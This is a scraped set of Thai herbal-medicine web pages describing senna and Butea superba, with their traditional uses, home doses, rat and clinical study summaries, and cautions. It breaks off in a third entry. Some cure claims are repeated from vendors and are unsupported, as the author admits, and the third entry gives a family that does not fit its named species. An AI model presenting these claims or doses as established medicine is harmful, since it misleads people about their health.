omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพร                                  มะขามแขก

ชื่ออื่นๆ                                         -

ชื่อสามัญ                                         Alexandria senna, Alexandrian senna, Indian senna, Tinnevelly senna

ชื่อวิทยาศาสตร์                         Senna alexandrina Mill.

ชื่อสามัญ                                       -

ชื่อพ้อง                                        Cassia angustifolia M.Vahl, Cassia angustifolia Vahl

ชื่อวงศ์                                        (FABACEAE หรือ LEGUMINOSAE) และอยู่ในวงศ์ย่อยราชพฤกษ์ (CAESALPINIOIDEAE หรือ CAESALPINIACEAE)

ลักษณะทางพฤกษศาสตร์     

makakax_6 makakax_1ต้นมะขามแขก จัดเป็นไม้พุ่ม มีความสูงของต้นประมาณ 0.5-1.5 เมตร เป็นพืชทนแร้ง ไม่ชอบที่น้ำท่วมขัง เพราะจะทำให้รากเน่า สามารถเจริญเติบโตได้ดีในดินที่ลักษณะร่อน มีความอุดมสมบูรณ์ ขยายพันธุ์ด้วยวิธีการใช้เมล็ดและการใช้ต้นกล้า

makakax_2 makakax_3ใบมะขามแขก ใบเป็นใบประกอบแบบขนนก เรียงสลับ ใบย่อยเป็นรูปวงรีและใบรูปหอก ใบแห้งมีสีเขียวอมน้ำตาล ขอบใบเรียบ ปลายและโคนใบแหลม โคนใบทั้งสองมีขนาดไม่สมมาตรกัน และมีขนนุ่มปกคลุมอยู่ ใบมีขนาดกว้างประมาณ 1-1.5 เซนติเมตร ยาวประมาณ 2.5-5 เซนติเมตร ใบมีกลิ่นเหม็นเขียว มีรสเปรี้ยว หวานชุ่ม

makakax_4ดอกมะขามแขก ออกดอกเป็นช่อตามซอกใบตอนปลายกิ่ง กลีบดอกมีสีเหลือง

makakax_5ผลมะขามแขก หรือ ฝักมะขามแขก ลักษณะของผลเป็นฝักแบน รูปขอบขนาน ฝักอ่อนมีสีเขียว

สมุนไพรมะขามแขก มีสรรพคุณที่โดดเด่นในเรื่องของการใช้เป็นยาถ่าย เหมาะสำหรับผู้สูงอายุ ผู้ที่มีกำลังน้อย เด็ก คนที่เป็นริดสีดวง หรือผู้ที่มีปัญหาท้องผูกอยู่บ่อย ๆ เนื่องจากมีสารแอนทราควิโนน (Anthraquinones) ที่มีฤทธิ์ช่วยกระตุ้นการบีบตัวของลำไส้ใหญ่ให้ถ่ายท้องได้ โดยส่วนที่นำมาใช้เป็นยาสมุนไพรได้แก่ ส่วนของใบแห้งและฝักแห้งที่มีอายุในช่วง 1 เดือนครึ่ง (หรือช่วงก่อนออกดอก) แต่ควรใช้เป็นครั้งคราวเท่านั้นเพื่อความปลอดภัย

สรรพคุณของมะขามแขก

  1. ใบและฝักมะขามแขกใช้ปรุงเป็นยาถ่าย ยาระบายได้ดี และช่วยแก้อาการท้องผูกได้ โดยให้นำใบมะขามแขกประมาณ 2 หยิบมือ (ประมาณ 2 กรัม) หรือจะใช้ฝักประมาณ 10-15 ฝัก นำมาต้มกับน้ำ 1 ถ้วยแก้วประมาณ 4 นาที และใส่เกลือเล็กน้อยเพื่อช่วยกลบรสเฝื่อน แล้วใช้รับประทานเพียงครั้งเดียว หรืออีกวิธีจะใช้วิธีการบดใบแห้งให้เป็นผง ใช้ชงกับน้ำดื่มก็ได้ สำหรับบางรายที่ดื่มแล้วเกิดอาการไซ้ท้อง หรืออาการปวดมวนท้อง (ใบจะออกฤทธิ์ไซ้ท้องมากกว่าฝัก) ให้แก้ไขด้วยการนำมาต้มรวมกับยาขับลมปริมาณเพียงเล็กน้อย เช่น กานพลู ขิง อบเชย กระวาน เพื่อช่วยบรรเทาอาการไซ้ท้องและเพื่อแต่งรสให้ดีขึ้น (ใบ, ฝัก)
  2. ใบมะขามแขกช่วยทำให้อาเจียน (ใบ)
  3. ช่วยถ่ายพิษไข้ (ใบ, ฝัก)
  4. ช่วยถ่ายพิษเสมหะ (ใบ)
  5. ช่วยแก้อาการสะอึก (ใบ)
  6. ช่วยขับลมในลำไส้ (ใบ, ฝัก)
  7. ช่วยกระตุ้นการเคลื่อนไหวของลำไส้ (ใบ)
  8. ช่วยถ่ายพิษอุจจาระเป็นมูก (ใบ)
  9. ช่วยแก้ริดสีดวงทวาร (ใบ, ฝัก)
  10. ใบใช้เป็นยาถ่ายพยาธิ (ใบ)
  11. ช่วยถ่ายโรคบุรุษ (ใบ)
  12. ช่วยถ่ายน้ำเหลือง (ใบ)
  13. ช่วยลดอาการบวมน้ำ (ใบ)
  14. มีรายงานว่าได้มีการใช้มะขามแขกในคนไข้หลังผ่าตัดคว้านต่อมลูกหมาก และพบว่ามะขามแขกช่วยทำให้ถ่ายอุจจาระที่มีลักษณะอันพึงประสงค์ได้ดีกว่าการใช้ Milk Of Magnesia (MOM) นอกจากนี้แคลเซียมเซนโนไซต์ ยังช่วยทำให้ผู้ป่วยสูงอายุหลังการผ่าตัดสามารถขับถ่ายอุจจาระได้คล่องยิ่งขึ้น
  15. ข้อมูลทางเภสัชวิทยาของมะขามแขก ช่วยในการขับถ่ายอุจจาระ ต่อต้านการก่อกลายพันธุ์ และต้านเชื้อแบคทีเรีย

ประโยชน์ของมะขามแขก

  • ปัจจุบันมีการนำมะขามแขกมาแปรรูปเป็นสินค้าอย่างหลากหลาย เช่น มะขามแขกแคปซูล ยาชงสมุนไพรมะขามแขก เป็นต้น

ข้อควรรระวังเกี่ยวกับมะขามแขก

  • สำหรับหญิงตั้งครรภ์ หรือให้นมบุตร หรือในหญิงมีประจำเดือน ห้ามรับประทานมะขามแขก แต่สำหรับหญิงให้นมบุตร แม้ว่าสารแอนทราควิโนน (Anthraquinones) จะสามารถผ่านออกมากับน้ำนมได้เมื่อใช้ในขนาดปกติ แต่ว่าความเข้มข้นของสารดังกล่าวจะไม่ส่งผลต่อทารกที่รับน้ำนมแต่อย่างใด จึงสามารถใช้มะขามแขกเป็นยาระบายได้ (แต่ไม่แนะนำให้ใช้) (Reynolds, 1989; Baldwin, 1963)
  • ห้ามใช้สมุนไพรมะขามแขกในเด็กที่มีอายุต่ำกว่า 10 ปี
  • มะขามแขกมีฤทธิ์ในการกระตุ้นการบีบตัวของลำไส้ จึงไม่ควรใช้ในผู้ป่วยที่มีอาการปวดเกร็งในช่องท้อง ไส้ติ่งอักเสบ โรคลำไส้ใหญ่ส่วนล่างอักเสบ ลำไส้อุดตัน หรือมีอาการปวดท้องโดยไม่ทราบสาเหตุ (Reynolds, 1989)
  • ผลข้างเคียงมะขามแขก สำหรับบางรายอาจมีอาการไซ้ท้องหรืออาการปวดมวนได้ท้องได้
  • การใช้มะขามแขกเป็นยาระบาย ให้กินในช่วงก่อนนอน โดยยาจะออกฤทธิ์ประมาณ 8-10 ชั่วโมงหลังจากรับประทาน โดยตัวยาจะทำให้อุจจาระมีมวลมากขึ้น ทำให้อุจจาระมีลักษณะนิ่ม ขับถ่ายได้สะดวก
  • เมื่อใช้ในการรักษาอาการท้องผูก ควรใช้เป็นครั้งคราว หรือใช้ยาเท่าที่จำเป็น และใช้รักษาในระยะเวลาสั้น ๆ ไม่ใช้ติดต่อกันเกินกว่า 2 สัปดาห์ เพราะถ้าใช้ติดต่อกันนานอาจจะทำให้ลำไส้ชินกับยา ส่งผลให้ต้องใช้ยาตลอดจึงจะขับถ่ายได้ ทางที่ดีหากคุณมีอาการท้องผูก แนะนำว่าควรใช้ยาสมุนไพรมะขามแขกเท่าที่จำเป็น และหันมารับประทานผักหรืออาหารที่มีกากใยอย่างจริงจัง ออกกำลังกายเป็นประจำ ดื่มน้ำอย่างเพียงพอ ขับถ่ายให้เป็นเวลา
  • การใช้สมุนไพรมะขามแขกติดต่อกันเป็นระยะเวลานาน อาจก่อให้เกิดพิษต่อตับได้ (Malmquist, 1980) และอาจทำให้อิเล็กโทรไลต์ในเลือดต่ำได้ ทำให้ร่างกายสูญเสียธาตุโพแทสเซียม ทำให้เลือดมีภาวะเป็นกรดหรือด่าง การดูดซึมผิดปกติ ทำให้เกิดอาการอ่อนเพลีย น้ำหนักลด มีความดันโลหิตต่ำในผู้สูงอายุ และอาจทำลายเซลล์ประสาทในลำไส้ได้
  • การใช้มะขามแขกในทางที่ผิด อาจทำให้ปริมาณของแกมมา-โกลบูลินในเลือดต่ำลง และทำให้นิ้วมือนิ้วเท้ามีลักษณะใหญ่และหนา (Finger clubbing)
  • การใช้มะขามแขกอาจทำให้กระดูกบริเวณข้อมีการเจริญเติบโตที่ผิดปกติได้ (Hypertrophic Osteoarthropathy)
  • การใช้สมุนไพรมะขามแขกเป็นยาระบายหรือแก้อาการท้องผูก หากใช้ในปริมาณที่เหมาะสมจะก็จะไม่มีอันตราย แต่หากใช้กินวันละหลาย ๆ รอบ หรือใช้ในปริมาณที่มากเกินไป ก็จะทำให้เสียน้ำจากการขับถ่ายมาก ทำให้ร่างกายทรุดโทรมลง รู้สึกไม่มีแรง และอาจถึงขั้นช็อกจนเสียชีวิตได้
  • ไม่ควรใช้มะขามแขกร่วมกับยาต้านฮีสตามีนซึ่งเป็นยาแก้แพ้ เพราะอาจจะทำให้ฤทธิ์การเป็นยาระบายลดน้อยลง (Erspamer and Paolini, 1946)
  • หากจำเป็นต้องใช้มะขามแขกติดต่อกันเป็นระยะเวลานาน ๆ คุณควรรับประทานอาหารเสริมที่มีโพแทสเซียมสูง ๆ ควบคู่ไปด้วย เพื่อป้องกันไม่ให้ร่างกายขาดธาตุโพแทสเซียม (Ploss, 1975; Levine et al., 1981)
  • มะขามแขกไม่ควรใช้เป็นยาลดความอ้วน เนื่องจากมันมีฤทธิ์แค่ช่วยในการขับถ่าย เนื่องจากสิ่งที่ถูกจับออกนั้นจะเป็นกากอาหารและน้ำในร่างกาย ส่วนไขมันก็ยังอยู่ในตัวเราเหมือนเดิม ไม่ได้ถูกขับออกไปพร้อมของเสีย

แหล่งอ้างอิง : ฐานข้อมูลเครื่องยาสมุนไพร คณะเภสัชศาสตร์ มหาวิทยาลัยอุบลราชธานี, สำนักงานโครงการอนุรักษ์พันธุกรรมพืชอันเนื่องมาจากพระราชดำริ สมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี, สำนักงานข้อมูลสมุนไพร (มหาวิทยาลัยมหิดล), หนังสือสมุนไพรกับวัฒนธรรมไทยตอนที่ 2 ไม้ริมรั้ว (เพ็ญนภา ทรัพย์เจริญ), กรมวิทยาศาสตร์การแพทย์, คู่มือประชาชนในการดูแลสุขภาพด้วยการแพทย์แผนไทย (กันทิมา สิทธิธัญกิจ, พรทิพย์ เติมวิเศษ)

ภาพประกอบ : www.thaicrudedrug.com (by Sudarat Homhual), www.arkive.org, เว็บไซต์ sankhlamehandi.com, www.flickr.com (by firebird39)

เรียบเรียงข้อมูลโดยเว็บไซต์เมดไทย (MedThai)

Categories: ไม่มีหมวดหมู่

กวาวเครือแดง

omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพร                                  กวาวเคือแดง

ชื่ออื่นๆ                                         กวาวหัว ตานจอมทอง จานเครือ จอมทอง ไพมือ ไพ้ตะกุ
ชื่อสามัญ

ชื่อวิทยาศาสตร์                         Butea superba Roxb. 

ชื่อสามัญ                                       -

ชื่อพ้อง                                         -

ชื่อวงศ์                                        FABACEAE หรือ LEGUMINOSAE

ลักษณะทางพฤกษศาสตร์     

กวาวเครือแดงจัดเป็นไม้เถายืนต้นขนาดใหญ่ อายุยิ่งมากเท่าไหร่ เถาก็จะยิ่งใหญ่และกลายเป็นต้น แต่ยังส่งเถาเลื้อยไปพาดพันตามต้นไม้ที่อยู่ในบริเวณใกล้ ๆ ลักษณะของใบคล้ายใบทองกวาว แต่ใบจะใหญ่กว่ามาก แต่ถ้าเป็นใบอ่อนจะมีขนาดเท่ากับใบพลวงหรือใบของต้นสัก ส่วนต้นหากใช้มีดฟันจะมียางสีแดงคล้ายโลหิตออกมา หากขุดโคนต้น ก็จะพบรากขนาดใหญ่เท่าน่องขาเลื้อยออกมาจากต้นโดยรอบ มีความยาวประมาณ 2 วา ขึ้นอยู่กับอายุและขนาดของลำต้น สมุนไพรชนิดนี้จะพบได้มากทางภาคเหนือและภาคตะวันออกของประเทศ ไล่ตั้งแต่ชายแดนไทย-พม่าตรงถึงภาคเหนือ เป็นไม้ที่ชอบขึ้นตามภูเขาสูง และในช่วงเดือนมกราคมถึงกุมภาพันธุ์ จะออกดอกเป็นดอกสีส้มเหลืองคล้ายดอกทองกวาวบานสะพรั่งอยู่บนยอดดอย แต่ในปัจจุบันใช่ว่าจะหาได้ง่ายนัก เพราะมีไม่มากเท่ากวาวเครือขาว

kalkhadang_6 kalkhadang_5 kalkhadang_4 kalkhadang_3 kalkhadang_2 kalkhadang_1สรรพคุณของกวาวเครือแดง

  1. หัวกวาวเครือแดง มีรสเย็นเบื่อเมา ช่วยบำรุงสุขภาพร่างกาย และใช้เป็นยาอายุวัฒนะ (หัว)[1]
  2. ช่วยทำให้เซลล์ต่าง ๆ ในร่างกายมีอายุยืนยาวขึ้น ช่วยทำให้ร่างกายและเนื้อเยื่อเสื่อมช้าลง[4]
  3. ผลช่วยเจริญธาตุไฟในร่างกาย (ผล)[3]
  4. ช่วยบำรุงผิวพรรณ บำรุงสุขภาพเนื้อหนังให้เต่งตึง (หัว)[1]
  5. ช่วยทำให้หน้าอกโต (หัว)[1]
  6. ช่วยบำรุงกำหนัดหรือเพิ่มความต้องการทางเพศ ช่วยเพิ่มจำนวนของอสุจิ มีฤทธิ์เพิ่มความแข็งตัวของอวัยวะเพศ เช่นเดียวกับฤทธิ์ของซิลเดนาฟิล ซิเตรต (Sidenal Citrate) ของยาไวอากรา (Viagra) (หัว)[1],[2]
  7. กวาวเครือแดงมีคุณสมบัติช่วยบำรุงหลอดเลือด ทำให้เลือดหมุนเวียน (หัว)[4]
  8. ใบและรากกวาวเครือแดงช่วยทำให้นอนหลับและเสพติด (ราก, ใบ)[3]
  9. ช่วยบำรุงสายตา (ไม่ระบุส่วนที่ใช้)[5]
  10. รากและต้นช่วยแก้โลหิต (ราก[1], ต้น[3])
  11. รากช่วยแก้ลมอัมพาต (ราก[1], ต้น[3])
  12. ช่วยแก้อาการปวดฟัน (เปลือก)[3]
  13. ช่วยแก้ไข้ (เปลือก, ทั้ง 5 ส่วน)[3]
  14. ช่วยแก้อาการร้อนในกระหายน้ำ (ทั้ง 5 ส่วน)[3]
  15. ช่วยขับเสมหะ (เปลือก)[3]
  16. ช่วยแก้อาการจุกเสียด แก้อาการลงท้อง แก้สะพั้น (ผล)[3]
  17. ช่วยแก้ตัวพยาธิ (ผล)[3]
  18. ช่วยแก้ปวดเมื่อยตามร่างกาย (หัว)[1]
  19. เปลือกเถากวาวเครือแดงมีรสเย็นเบื่อเมา ช่วยแก้พิษงู (เปลือกเถา)[1]
  20. กวาวเครือแดงจัดอยู่ในตำรับยาสมุนไพร “พิกัดเนาวโลหะ” ซึ่งประกอบไปด้วย รากกวาวเครือแดง รากขันทองพยาบาท รากทองกวาว รากทองพันชั่ง รากทองโหลง รากทองหลางหนาม รากทองหลางใบมน รากใบทอง และรากจำปาทอง โดยเป็นตำรับยาที่มีสรรพคุณช่วยแก้เสมหะ แก้ลม ลมที่เป็นพิษ ดับพิษ ช่วยชำระล้างลำไส้ สมานลำไส้ แก้โรคดี แก้โรคตับ แก้ริดสีดวงทวาร และขับระดูร้าย[1]
  21. ฤทธิ์ทางเภสัชวิทยา ระบุว่ากวาวเครือแดงมีฤทธิ์เหมือนเอสโตรเจน ช่วยกดการทำงานของหัวใจ ทำให้หลอดเลือดหดตัว เพิ่มความดันโลหิต และช่วยกระตุ้นการหายใจ[3]
  22. สำหรับสรรพคุณอื่น ๆ ของกวาวเครือแดง ซึ่งเป็นข้อมูลจากผู้จำหน่ายสมุนไพรกวาวเครือแดงสำเร็จรูป ได้แก่ ปรับสมดุลของฮอร์โมนเพศชาย (Testosterone) ลดความอ้วน ลดไขมันในเส้นเลือด ช่วยรักษาโรคเส้นเลือดอุดตัน จึงช่วยรักษาโรคหัวใจบางชนิดได้ เพราะไปช่วยลดไขมันในเส้นเลือด ช่วยทำให้ผมดกดำ[8] ทำให้ผมขาวกลับมาเปลี่ยนเป็นสีเทาและสีดำตามลำดับ ช่วยบำรุงประสาทและสมอง ช่วยป้องกันโรคอัลไซเมอร์ ช่วยเสริมสร้างแคลเซียมในการสร้างกระดูก ช่วยป้องกันโรคต่อมลูกหมากโต ป้องกันมะเร็งในต่อมลูกหมาก และยังช่วยลดเลือนริ้วรอยเหี่ยวย่นบนใบหน้า นอกจากนี้ยังระบุด้วยว่าหัวกวาวเครือแดงมีสาร Flavonoids (วิตามินพี) ในปริมาณสูง ซึ่งมีประโยชน์ในด้านเป็นสารต่อต้านอนุมูลอิสระ ช่วยเสริมการทำงานของหลอดเลือดในร่างกาย และช่วยต่อต้านเซลล์มะเร็ง (ซึ่งส่วนนี้ผู้เขียนยังหาข้อมูลทางวิชาการมาสนับสนุนไม่ได้ว่ามีสรรพคุณเช่นนั้นจริงหรือไม่ เพราะอย่าลืมว่ากวาวเครือมีอยู่ด้วยกันถึง 4 ชนิด จึงมีความเป็นไปได้ว่าอาจจะเกิดการสับสนในเรื่องสรรพคุณและทำให้เข้าใจผิดได้ ดังนั้นคุณควรใช้วิจารณญาณกันเอาเองนะครับ)

ข้อมูลทางเภสัชวิทยาของกวาวเครือแดง

  • ข้อมูลทางเภสัชวิทยาของสมุนไพรกวาวเครือแดง มีฤทธิ์เหมือนเอสโตรเจน ช่วยกดการทำงานของหัวใจ ช่วยทำให้หลอดเลือดหดตัว เพิ่มความดันโลหิต และช่วยกระตุ้นการหายใจ[3]
  • จากการศึกษาทางเภสัชวิทยาของฤทธิ์ต่อระบบสืบพันธุ์ในสัตว์ทดลอง พบว่าหนูแรทตัวผู้ที่ได้รับกวาวเครือแดงในรูปแบบผงป่นละลายน้ำเข้มข้น 0.5 และ 5 มก./มล. ติดต่อกัน 3 สัปดาห์ พบว่าหนูแรทมีน้ำหนักตัวและปริมาณของอสุจิเพิ่มขึ้นอย่างมีนัยสำคัญทางสถิติ ส่วนหนูแรทที่ได้รับกวาวเครือแดงในรูปแบบสารสกัดเอทานอล พบว่าความยาวขององคชาติเพิ่มขึ้น ทำให้หนูมีพฤติกรรมการสืบพันธุ์เพิ่มมากขึ้น และเมื่อศึกษาต่อไปอีก 6 สัปดาห์ พบว่าหนูที่ได้รับกวาวเครือแดงแบบผงป่นละลายน้ำ มีน้ำหนักสัมพัทธ์ของ Seminal Vesicles ต่อมลูกหมาก ความยาวขององคชาติ และพฤติกรรมการสืบพันธุ์เพิ่มมากขึ้น ส่วนหนูที่ได้รับกวาวเครือแดงในรูปของสารสกัดเอทานอล กลับมีน้ำหนักสัมพัทธ์ของ Seminal Vesicles ลดลง และเมื่อศึกษาไปในระยะยาวและในปริมาณของสารสกัดที่เพิ่มมากขึ้นก็พบว่าระดับฮอร์โมน Testosterone ลดลง และมีปริมาณเอนไซม์ตับเพิ่มขึ้น ดังนั้นการรับประทานในปริมาณมากเกินไป อาจทำให้เกิดพิษต่อตับได้ (พิชานันท์ ลีแก้ว, 2553, โรคหย่อนสมรรถภาพทางเพศ, จุลสารข้อมูลสมุนไพร)[1]
  • การศึกษาทางคลินิกของฤทธิ์ต่อระบบสืบพันธุ์ในอาสาสมัครที่มีอาการหย่อนสมรรถภาพทางเพศอย่างน้อย 6 เดือน เมื่อรับประทานกวาวเครือแดงแคปซูล (ในขนาด 250 มิลลิกรัมต่อแคปซูล วันละ 4 แคปซูล) เป็นระยะเวลา 3 เดือน พบว่าอาสาสมัครมีสมรรถภาพทางเพศที่ดีขึ้นสูงถึง 82.4% จึงกล่าวได้ว่ากวาวเครือแดงสามารถช่วยฟื้นฟูสมรรถภาพทางเพศได้ และไม่พบการเกิดพิษแต่อย่างใด (พิชานันท์ ลีแก้ว, 2553, โรคหย่อนสมรรถภาพทางเพศ, จุลสารข้อมูลสมุนไพร)[1]
  • การศึกษาพิษเรื้อรังของกวาวเครือแดง ได้มีการทดลองในหนูขาวพันธุ์วิสตาร์ทั้งตัวผู้และตัวเมียเป็นระยะเวลา 6 เดือน ผลการทดลองพบว่าการให้ผงกวาวเครือแดงขนาด 10 มก./กก. ต่อวัน พบว่าไม่มีพิษต่อค่าทางโลหิตวิทยา ค่าทางชีวเคมีและพยาธิสภาพของอวัยวะภายใน ส่วนหนูทดลองที่ได้รับในปริมาณมากกว่า 100 มก./กก. ต่อวัน พบว่ามีการเปลี่ยนแปลงอย่างมีนัยสำคัญของค่าโลหิตวิทยา ค่าทางชีวเคมีและพยาธิสภาพของอวัยวะภายใน โดยเฉพาะในหนูทดลองที่ได้รับผงกวาวเครือขนาดสูงสุด (1,000 มก./กก. ต่อวัน) พบว่ามีระดับเอนไซม์ Aspartate aminotransferase, Alanine aminotransferase, Alkaline phosphatase และ bilirubin ซึ่งแสดงถึงการทำงานของตับเปลี่ยนแปลงไปอย่างมีนัยสำคัญ และจากการตรวจสอบทางจุลพยาธิก็พบว่าเกิดความผิดปกติในตับหนูอย่างมีนัยสำคัญ จากผลการทดลองจึงพบว่าการให้ผงกวาวเครือแดงในขนาด 250 มก./กก. ต่อวันหรือมากกว่านั้นจะทำให้เกิดพยาธิสภาพของอวัยวะภายในของหนูโดยเฉพาะที่ตับ[7]
  • ประโยชน์กวาวเครือแดง

    1. มีการใช้กวาวเครือแดงเพื่อทำเป็นยาคุมกำเนิดสำหรับสัตว์[1]
    2. ใบกวาวเครือแดงมีขนาดใหญ่มาก จึงสามารถนำมาใช้ห่อข้าวแทนใบตองได้[8]
    3. มีการนำสมุนไพรกวาวเครือแดงมาทำเป็นแชมพู สูตรทำให้เส้นผมแข็งแรง ป้องกันการหลุดร่วงของเส้นผม ป้องกันผมหงอกก่อนวัย เนื่องจากกวาวเครือแดงเป็นสมุนไพรที่มีคุณสมบัติช่วยบำรุงหลอดเลือด ทำให้เลือดหมุนเวียนได้ดี จึงสามารถนำสารอาหารไปหล่อเลี้ยงรากผมได้ดี และเมื่อใช้ผสมกับสมุนไพรกวาวเครือขาวที่มีสรรพคุณช่วยบำรุงเรื่องหนังศีรษะทำให้มีน้ำหล่อเลี้ยงแบบธรรมชาติ แถมยังช่วยลดอาการคันหนังศีรษะและรังแคอันเกิดจากหนังศีรษะแห้งได้อีกด้วย และเมื่อนำมาใช้ทำเป็นแชมพูก็จะยิ่งทำให้มีประสิทธิภาพเพิ่มขึ้นเป็นเท่าตัว[4],[5]
    4. ปัจจุบันมีการนำสมุนไพรกวาวเครือแดงไปผลิตหรือแปรรูปเป็นยาสมุนไพรอย่างหลากหลาย เช่น ครีมกวาวเครือแดงสบู่กวาวเครือแดงยากวาวเครือแดงเจลกวาวเครือแดงกวาวเครือแดงแคปซูลครีมนวดกวาวเครือแดง เป็นต้น
    5. ฐานข้อมูลเครื่องยาสมุนไพร คณะเภสัชศาสตร์ มหาวิทยาลัยอุบลราชธานี.  [ออนไลน์].  เข้าถึงได้จาก: www.thaicrudedrug.com.  [16 ต.ค. 2013].
    6. มูลนิธิสุขภาพไทย.  “กวาวเครือแดงแรงฤทธิ์ ข่าวดีสำหรับบุรุษ“.  [ออนไลน์].  เข้าถึงได้จาก: www.thaihof.org.  [16 ต.ค. 2013].
    7. คณะเภสัชศาสตร์ มหาวิทยาลัยมหาสารคาม.  สมุนไพรในร้านขายยา.  [ออนไลน์].  เข้าถึงได้จาก: www.pharmacy.msu.ac.th.  [16 ต.ค. 2013].
    8. กิจการวิจัย จุฬาลงกรณ์มหาวิทยาลัย.  “กวาวเครือ ใช่แค่อึ๋มปึ๋งปั๋งยังบํารุงเส้นผม“.  (รศ.ดร.วิชัย เชิดชีวศาสตร์ อาจารย์ประจำภาควิชาชีววิทยา คณะวิทยาศาสตร์ จุฬาลงกรณ์มหาวิทยาลัย).  [ออนไลน์].  เข้าถึงได้จาก: www.research.chula.ac.th.  [16 ต.ค. 2013].
    9. โรงเรียนมัธยมบึงปรือ.  [ออนไลน์].  เข้าถึงได้จาก: school.obec.go.th/mattayommb.  [16 ต.ค. 2013].
    10. หน่วยบริการฐานข้อมูลสมุนไพร สำนักงานข้อมูลสมุนไพร คณะเภสัชศาสตร์ มหาวิทยาลัยมหิดล.  [ออนไลน์].  เข้าถึงได้จาก: www.medplant.mahidol.ac.th.  [16 ต.ค. 2013].
    11. สถาบันวิจัยสมุนไพร.  สถาบันวิจัยวิทยาศาสตร์สาธารณสุข กรมวิทยาศาสตร์การแพทย์.  “พิษเรื้อรังของกวาวเครือแดง“.  ทรงพล ชีวะพัฒน์, ปราณี ชวลิตธำรง, สมเกียรติ ปัญญามัง, สดุดี รัตนจรัสโรจน์, เรวดี บุตราภรณ์
    12. กวาวเครือ ยอดสมุนไพรไทย“.  (สันยาสี).  [ออนไลน์].  เข้าถึงได้จาก: www.sanyasi.org.  [16 ต.ค. 2013].

    คำแนะนำและข้อควรระวัง

    • กวาวเครือเป็นสมุนไพรที่หายากและใกล้สูญพันธุ์ จึงถูกขึ้นบัญชีเป็นสมุนไพรควบคุมประกาศของกระทรวงสาธารณสุข พ.ศ.2549 เพื่อจำกัดการครอบครองในกรณีที่ขุดจากป่าและเพาะปลูกเอง เมื่อขุดแล้วต้องปลูกทดแทน โดยผู้ประกอบวิชาชีพแพทย์แผนไทยหรือหมอพื้นบ้าน (40-120 กิโลกรัม) หรือหน่วยงานศึกษาวิจัยต่าง ๆ (80-240 กิโลกรัม) โรงงานอุตสาหกรรม (400-1,200 กิโลกรัม) และสำหรับเกษตรกรหรือประชาชนทั่วไป (20-60 กิโลกรัม) สามารถครอบครองสมุนไพรควบคุมดังกล่าวได้ในปริมาณตามที่ระบุไว้ในประกาศตาม พ.ร.บ. คุ้มครองและส่งเสริมภูมิปัญญาการแพทย์แผนไทย พ.ศ.2542 หากฝ่าฝืนจะมีโทษจำคุกไม่เกิน 6 เดือน หรือปรับไม่เกิน 10,000 บ. หรือทั้งจำทั้งปรับ ดังนั้นการนำสมุนไพรกวาวเครือทุกชนิดมาใช้จึงต้องคำนึงถึงกฎหมายด้วย และควรได้รับการแนะนำจากแพทย์แผนไทย แม้ว่าปริมาณที่รับประทานจะปลอดภัยมากกว่ายาไวอากราก็ตาม[2]
    • ตามข้อกำหนดขององค์การอาหารและยาของประเทศไทย (อย.) ระบุขนาดการรับประทานสมุนไพรกวาวเครือแดงไม่ควรเกินวันละ 2 มิลลิกรัมต่อกิโลกรัมต่อวัน[1]
    • สำหรับผู้ที่เป็นโรคตับหรือโรคหัวใจไม่ควรรับประทาน หรือควรปรึกษาแพทย์ก่อนการใช้สมุนไพรชนิดนี้[1]
    • ผลข้างเคียงกวาวเครือแดง ตามตำราสมุนไพรไทยระบุไว้ว่า กวาวเครือชนิดหัวแดงนี้มีพิษมาก ปกติแล้วจะไม่นิยมนำมาทำเป็นยาสมุนไพร เพราะการรับประทานในปริมาณมากเกินไปอาจจะทำให้เกิดอันตรายกับร่างกายได้ เช่น อาจมีอาการมึนเมา มีอาการคลื่นไส้อาเจียน เป็นต้น[1]
    • สมุนไพรกวาวเครือแดงมีพิษเมามากกว่าสมุนไพรกวาวเครือขาว[1]
    • การรับประทานกวาวเครือแดงในปริมาณที่มากเกินไปอาจจะทำให้เกิดพิษต่อตับ หรือทำให้เกิดอาการอันไม่พึงประสงค์ต่าง ๆ ได้[1]
    • การรับประทานกวาวเครือแบบชง ตามตำรับยาพื้นบ้านของภาคเหนือ ระบุว่าให้รับประทานกวาวเครือแดงวันละ 2 ใน 3 ส่วนของเมล็ดพริกไทย หรือรับประทานเท่าขนาดของเมล็ดมะกล่ำใหญ่[6]
    เอกสารอ้างอิง

    ภาพประกอบ : www.thaicrudedrug.com (by Sudarat Homhual), www.magnoliathailand.com (by จางซันฟง), www.flickr.com (by geetaarun)

    เรียบเรียงข้อมูลโดยเว็บไซต์เมดไทย (MedThai)

Categories: ไม่มีหมวดหมู่

กำลังช้างสาร

omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพร                                  กำลังช้างสาร

ชื่ออื่นๆ                                          กำลังช้างสาร (ภาคกลาง) เครือง้วนเห็น ศาลาน่อง (อุดรธานี) เถาจักรลาช (ประจวบคีรีขันธ์) ไส้ตันใหญ่ (ปราจีนบุรี) เป็นไม้พุ่มรอเลื้อย ทอดยอดเกาะพันไม้อื่น กิ่งอ่อนและช่อดอกมีขนประปราย กิ่งแก่เกลี้ยง
ชื่อสามัญ

ชื่อวิทยาศาสตร์                         Acacia craibii Nielsen

ชื่อสามัญ                                       -

ชื่อพ้อง                                         -

ชื่อวงศ์                                        Ochnaceae

ลักษณะทางพฤกษศาสตร์     เป็นไม้ขนาดเล็ก พุ่มสูง3-5 เมตร มีหนามทั่วต้น ดอกสีขาว ใช้เนื้อไม้ทำยา ในตำรับโบราณมักใช้ต้มดื่มกับน้ำซาวข้าว ดื่มแก้ไข้ แก้ร้อนใน หรือผสมกับสมุนไพรตัวอื่นๆ เช่น โด่ไม่รู้ล้ม แก่นฝาง เพื่อแก้อาการปวดเมื่อยตามร่างกาย     
ใบ เป็น ใบประกอบแบบขนนกสองชั้น เรียงสลับ หูใบแปลงรูปเป็นหนามแหลมโค้งค่อนข้างกลมขนาดเล็ก 1 คู่ ใบประกอบแยกแขนง 6-11 คู่ แต่ละแขนงมีใบย่อย 21-29 คู่ เล็กมาก

